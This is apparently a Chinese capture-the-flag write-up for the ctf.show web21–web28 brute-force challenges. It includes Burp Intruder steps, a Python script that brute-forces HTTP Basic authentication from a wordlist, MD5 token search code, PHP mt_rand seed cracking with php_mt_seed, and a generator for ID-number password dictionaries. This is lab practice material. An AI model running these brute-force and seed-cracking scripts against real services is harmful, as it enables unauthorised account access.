相关文章及参考资料 暴力破解(生成字典、爆破服务、爆破登录、解密、BurpSuite工具讲解)
PS 做完了我才发现这些题的字典实在web21里面需要下载…
web21 爆破什么的,都是基操
burpsuite爆破:https://www.cnblogs.com/007NBqaq/p/13220297.html
直接展示登陆界面,随便输点什么,抓包,可以发现把账号密码放在了请求头中,并且根据末尾的==可以看出是base64加密,因此我们直接尝试Intruder模块爆破。 原理我们都懂,但是我们该如何操作呢?
方案一 burpsuite爆破 将请求转入intruder,因为会拼接payload,所以使用基本的sniper类型就行,在payload sets里面修改payload tpe为Custom Interator
,并且在payload option中按照顺序修改三个position。 而且我们观察可以注意到,我们还需要将payload使用base64加密,因此在payload processing里面添加转换: 最后再将末尾的转义关闭。 这种情况下爆破即可。
方案二 脚本爆破 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import time import requests import base64 url = 'http://41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show/index.php' password = [] with open ("1.txt" , "r" ) as f: while True: data = f.readline () if data: password.append (data) else : break for p in password: strs = 'admin:' + p[:-1 ] header={ 'Authorization' :'Basic {}' .format (base64.b64encode (strs.encode ('utf-8' )).decode ('utf-8' )) } rep =requests.get (url,headers=header) time.sleep (0.2 ) if rep.status_code ==200 : print (rep.text) break
web22 域名也可以爆破的,试试爆破这个ctf.show的子域名
web23 还爆破?这么多代码,告辞!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );include ('flag.php' );if (isset ($_GET ['token' ])){ $token = md5 ($_GET ['token' ]); if (substr ($token , 1 ,1 )===substr ($token , 14 ,1 ) && substr ($token , 14 ,1 ) ===substr ($token , 17 ,1 )){ if ((intval (substr ($token , 1 ,1 ))+intval (substr ($token , 14 ,1 ))+substr ($token , 17 ,1 ))/substr ($token , 1 ,1 )===intval (substr ($token , 31 ,1 ))){ echo $flag ; } } }else { highlight_file (__FILE__ ); } ?>
这题考的是脚本编写,直接使用脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import hashlib dic = '0123456789qwertyuiopasdfghjklzxcvbnm' for a in dic: for b in dic: t = str (a) + str (b) md5 = hashlib.md5 (t.encode ()).hexdigest () if md5[1 :2 ] == md5[14 :15 ] and md5[14 :15 ]== md5[17 :18 ]: if (ord (md5[1 :2 ])) >= 48 and ord (md5[1 :2 ]) <= 57 and (ord (md5[14 :15 ])) >= 48 and ord (md5[14 :15 ]) <= 57 : if (ord (md5[17 :18 ])) >= 48 and ord (md5[17 :18 ]) <= 57 and (ord (md5[31 :32 ])) >= 48 and ord ( md5[31 :32 ]) <= 57 : if (int (md5[1 :2 ]) + int (md5[14 :15 ]) + int (md5[17 :18 ])) / int (md5[1 :2 ]) == int (md5[31 :32 ]): print (t)
这里面我最开始写的时候没有12-14行,虽然会报错但是也能运行,wp中将其完善了一下。得到运行结果3j
直接post传入即可得到flag。
Q&A Q:这里为什么分别用ord和int: A:int改变数据类型,外型不变;ord改变数据类型,值不改变:
web24 爆个🔨
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php error_reporting (0 );include ("flag.php" );if (isset ($_GET ['r' ])){ $r = $_GET ['r' ]; mt_srand (372619038 ); if (intval ($r )===intval (mt_rand ())){ echo $flag ; } }else { highlight_file (__FILE__ ); echo system ('cat /proc/version' ); } ?>
方案一 代码中的mt_srand()
为随机数生成器设定种子,可以之后调用随机数生成器,可以保证随机数生成的相同。所以这题很明确了,直接找到生成的随机数即可。 用PHPStorm找一下:
1 2 3 4 5 <?php $a = mt_srand (372619038 );$b = mt_rand ();echo $b ;?>
然后直接get传入即可:
web25 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );include ("flag.php" );if (isset ($_GET ['r' ])){ $r = $_GET ['r' ]; mt_srand (hexdec (substr (md5 ($flag ), 0 ,8 ))); $rand = intval ($r )-intval (mt_rand ()); if ((!$rand )){ if ($_COOKIE ['token' ]==(mt_rand ()+mt_rand ())){ echo $flag ; } }else { echo $rand ; } }else { highlight_file (__FILE__ ); echo system ('cat /proc/version' ); }
其中hexdec()
函数将十六进制转化为十进制。猪脑过载了,开始打算写脚本跑出来第一个(第七行)的mt_rand()的值,但似乎直接给r传入0就行…… 直接将r传入0,得到第一个mt_rand的值1277101134
(即时生成的)。这时候,我们的目标就转化为尝试找到原种子的值。在搜索之后,发现有一个php_mt_seed的项目可以尝试破解出原种子的值。
php_mt_seed 下载:https://www.openwall.com/php_mt_seed/ 下载之后直接在kali中解压中即可(可以使用windows,但是需要g++编译,因为之前没安装过) 解压之后需要先make一下生成文件(我这里刚刚更新过)
然后
1 time ./php_mt_seed 1277101134
等待它找到seed。 然后将生成的mt_rand()的结果相加:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $a = array (3352708826 , 3352708827 , 72059293 , 379534775 , 2177040484 , 2437797623 , 3102727756 , 3907641824 );for ($f = 0 ; $f < 11 ; $f ++){ mt_srand ($a [$f ]); echo $f ; echo "\n" ; echo mt_rand (); echo "\n" ; $b = mt_rand (); echo $b ; echo "\n" ; $c = mt_rand (); echo $c ; echo "\n" ; echo $b + $c ; echo "\n" ; echo "\n" ; } ?>
然后就是一个一个尝试进去得到flag:
web26 上来就是连接数据库,但是似乎全为空的时候就连接成功了,应该是bug。 爆破的话可能费点劲了
web27 方案一 这题有点意思,上来就是一个登陆页面: 下方有一个录取名单获取,下载一下: 网页中还有一个学籍管理系统,估计就是用这个来查找了,我们可以尝试爆破这个页面: 修改payload类型 然后直接查询。 这下就得到了账号:02015237 密码:621022199002015237 返回去登陆页面。登录即可
方案二 wp提供的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $myfile = fopen ("zid.txt" , "w" ) or die ("Unable to open file!" );for ($year =1990 ;$year <1993 ;$year ++){for ($mon =1 ;$mon <10 ;$mon ++){for ($day =01 ;$day <10 ;$day ++){ $txt =('621022' .$year .'0' .$mon .'0' .$day .'5237' )."\n" ;fwrite ($myfile , $txt );} } } f or ($year =1990 ;$year <1993 ;$year ++){for ($mon =1 ;$mon <10 ;$mon ++){for ($day =10 ;$day <=31 ;$day ++){ $txt =('621022' .$year ."0" .$mon .$day .'5237' )."\n" ;fwrite ($myfile , $txt );} } } f or ($year =1990 ;$year <1993 ;$year ++){for ($mon =10 ;$mon <=12 ;$mon ++){for ($day =10 ;$day <=31 ;$day ++){ $txt =('621022' .$year .$mon .$day .'5237' )."\n" ;fwrite ($myfile , $txt );} } } f or ($year =1990 ;$year <1993 ;$year ++){for ($mon =10 ;$mon <=12 ;$mon ++){for ($day =01 ;$day <10 ;$day ++){ $txt =('621022' .$year .$mon ."0" .$day .'5237' )."\n" ;fwrite ($myfile , $txt );} } } f close ($myfile );
web28 上来页面中什么也没有,但是注意到域名中有蹊跷: 提示里面写了只用爆破目录即可,因此修改intruder。
注意 他说的爆破目录修改的payload应该是:/0/1/
而不是/0/1
,后者会返回重定向301